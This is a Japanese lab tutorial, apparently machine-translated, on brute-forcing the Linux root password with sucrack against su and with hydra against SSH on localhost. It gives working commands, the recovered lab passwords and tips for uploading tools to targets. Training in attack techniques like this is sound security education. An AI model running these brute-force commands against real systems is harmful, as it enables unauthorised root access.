Sucrack と Hydra を使用した Linux における root パスワードのブルートフォース攻撃

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Linux システムに対するブルートフォース攻撃を通じてルートユーザーのパスワードを取得する 2 つの方法とそれに対応するツールを探ります。この実験は、基本的な原理を理解し、その過程で一般的な落とし穴を避けるのに役立ちます。


Skills Graph

sucrack を使用して su コマンドでルートパスワードをブルートフォースする

このステップでは、sucrack ツールを使用して、su コマンドを通じてルートユーザーのパスワードをブルートフォースする方法を学びます。

su コマンドは、Linux システムで他のユーザーのアイデンティティに切り替えるために使用されます。ルートユーザーを除き、他のユーザーはこのコマンドを使用する際にターゲットユーザーのパスワードを提供する必要があります。

su コマンドをブルートフォースするために使用するツールは sucrack です。sucrack は、su コマンドを通じてローカルユーザーのパスワードをブルートフォースするように設計されたマルチスレッドの Linux ツールです。

su コマンドは TTY シェルからのユーザー入力を必要とするため、単純なシェルスクリプトではブルートフォース攻撃を実行できません。sucrack は C 言語で書かれており、マルチスレッドをサポートしているため、ブルートフォースのプロセスが非常に効率的です。

succrack の詳細情報は公式ウェブサイトを確認できます。

実際のシナリオでは、ターゲットマシンがインターネットにアクセスできない場合があります。そのため、sucrack を以下の 2 つの方法のいずれかでインストールできます。

  • sucrack のソースコードをダウンロードしてターゲットマシンにアップロードし、その後コンパイルして実行します。
  • sucrack のソースコードをダウンロードし、ローカルでコンパイルしてから、コンパイル済みのバイナリをターゲットマシンにアップロードします。

この実験では、すでに sucrack をインストールしています。

  1. ブルートフォース攻撃を試みる前に、実験環境を設定します。

    ターミナルを開き、プロジェクトディレクトリに移動します。

    cd /home/labex/project

    スクリプト env_setup_1.sh を実行して実験環境を設定します。

    ./env_setup_1.sh

    このスクリプトは、特権のない www-data ユーザーに切り替えます。私たちの目標は、ブルートフォースを通じて root ユーザーのパスワードを取得することです。

    デモンストレーション用に /tmp/common-wordlists.txt に事前に用意されたワードリストがあります。独自のワードリストを使用することもできます。

  2. sucrack を使用して su コマンドをブルートフォース攻撃する構文は次のとおりです。

    sucrack -w <threads> [-u <username>] <wordlist>

    パラメータは次のとおりです。

    • -w: スレッド数を指定します。
    • <wordlist>: ワードリストファイルを指定します。
    • -u: ブルートフォースするユーザー名を指定します。ユーザー名を指定しない場合、sucrack はデフォルトで root ユーザーのパスワードをブルートフォースします。

    次のコマンドを実行してブルートフォースを試してみましょう。

    sucrack -w 20 /tmp/common-wordlists.txt > ~/sucrack.log && reset

    ブルートフォース攻撃の出力は sucrack.log ファイルにリダイレクトされます。

    注意:reset コマンドは、sucrack を使用した後にターミナルが正しく表示されない場合があるため、ターミナル画面をクリアするために使用されます。

  3. このブルートフォース攻撃には時間がかかる場合があります。しばらくしたら、sucrack.log ファイルを確認してパスワードを確認します。

    cat ~/sucrack.log

    期待される出力:

    password is: really
  4. 次に、次のコマンドを使用してルートユーザーに切り替えることができます。

    su - root

    パスワード really を入力してルートユーザーに切り替えます。

    really
  5. /root ディレクトリに success_1.txt という名前のファイルを作成して、ルートユーザーに正常に切り替えたことを確認します。

    echo "Success_1" > /root/success_1.txt

    /root/success_1.txt ファイルを確認することで、ルートユーザーに正常に切り替えたことを確認できます。

sucrack を使用してルートユーザーのパスワードをブルートフォースする方法を学びました!

hydra を使用して SSH 経由でルートパスワードをブルートフォースする

このステップでは、hydra ツールを使用して、SSH プロトコルを通じてルートユーザーのパスワードをブルートフォースする方法を学びます。

前のステップでは、まだルートユーザーでいるはずですが、このステップでは labex ユーザーに切り替える必要があります。次のコマンドを実行することで、labex ユーザーに切り替えることができます。

su - labex
  1. ディレクトリが /home/labex/project に設定されていることを確認します。

    cd /home/labex/project

    スクリプト env_setup_2.sh を実行して実験環境を設定します。

    ./env_setup_2.sh

    前のステップと同様に、このスクリプトを実行すると、www-data ユーザーに切り替わります。

  2. SSH プロトコルをブルートフォースする前に、ターゲットマシンがルートユーザーの SSH ログインを許可しているかどうかを確認する必要があります。次のコマンドを実行することで確認できます。

    cat /etc/ssh/sshd_config | grep -i permitrootlogin

    出力が PermitRootLoginyes に設定している場合は、ブルートフォース攻撃を続行することができます。それ以外の場合は、試みる必要はありません。

  3. SSH プロトコルをブルートフォースするために使用するツールは hydra です。hydra は、RDP、SMB、HTTP、MySQL など、さまざまなプロトコルをサポートする著名なブルートフォースツールです。hydra は Kali Linux とこの実験の Ubuntu 環境に事前にインストールされています。

    hydra を使用して SSH プロトコルをブルートフォースする構文は次のとおりです。

    hydra -l root -P passwords.txt -t 4 -V < IP > ssh

    パラメータは次のとおりです。

    • -l: ユーザー名を指定します。
    • -P: ワードリストファイルを指定します。
    • -t: スレッド数を指定します。
    • -V: ブルートフォース攻撃の進捗と詳細を表示します。

    /tmp/common-wordlists.txt ワードリストを使用してルートユーザーのパスワードをブルートフォースし、出力を hydra.log ファイルに保存してみましょう。

    hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh > ~/hydra.log

    しばらくすると、ルートユーザーのパスワードが正常に解読されます。

    hydra.log ファイルを確認してパスワードを確認します。

    cat ~/hydra.log

    出力例:

    ...
    [22][ssh] host: 127.0.0.1   login: root   password: penguin
    1 of 1 target successfully completed, 1 valid password found
    ...
  4. ルートユーザーのパスワードがわかったので、次のコマンドを実行してルートユーザーに切り替えることができます。

    su - root

    パスワード penguin を入力してルートユーザーに切り替えます。

    penguin

    これでルートユーザーになっているはずです。次のコマンドを実行することで確認できます。

    whoami

    出力は root であるはずです。

  5. /root ディレクトリに success_2.txt という名前のファイルを作成して、ルートユーザーに正常に切り替えたことを確認します。

    echo "Success_2" > /root/success_2.txt

    /root/success_2.txt ファイルを確認することで、ルートユーザーに正常に切り替えたことを確認できます。

注意:v9.0 より古いバージョンの hydra を使用している場合、SSH プロトコルをブルートフォースするときに誤検知が報告されることがあります。hydra -v を実行することで hydra のバージョンを確認できます。

まとめ

この実験では、Linux システムでルートユーザーのパスワードをブルートフォースする 2 つの方法を学びました。1 つは sucrack ツールを使用して su コマンド経由で、もう 1 つは hydra ツールを使用して SSH プロトコル経由です。各方法のインストール、使用方法、および手順を説明し、基本的な原理を理解し、一般的な落とし穴を避けるのに役立ちます。この実験は、特権昇格技術に関する貴重な実践的な経験を提供し、さまざまなシナリオで適用できます。